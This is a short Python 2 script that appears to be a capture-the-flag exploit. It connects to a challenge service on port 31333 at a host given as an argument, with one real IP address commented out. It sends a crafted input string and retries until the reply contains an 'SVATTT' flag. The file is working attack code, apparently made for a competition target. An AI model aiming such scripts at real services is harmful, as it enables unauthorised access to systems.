import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib
import time,random
import sys
import re

LOCAL = ('localhost',31333)
LOCAL = (sys.argv[1],31333)
# LOCAL = ('128.199.133.96',31331)
BUFFER = 4096
for i in range(10):
    print i
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(LOCAL)

    def recv_until(s,str,debug=0):
        recv_ = ''
        while not str in recv_:
            tmp = s.recv(BUFFER)
            recv_ += tmp
            if debug:
                print tmp
            continue
        return recv_

    recv_until(s,'>')
    s.send("1--1]aaaaaaa")
    recv_until(s,'>')
    s.send("0\n")
    data = recv_until(s,'You won')
    print data
    if 'SVATTT' in data:
        break

    s.close()



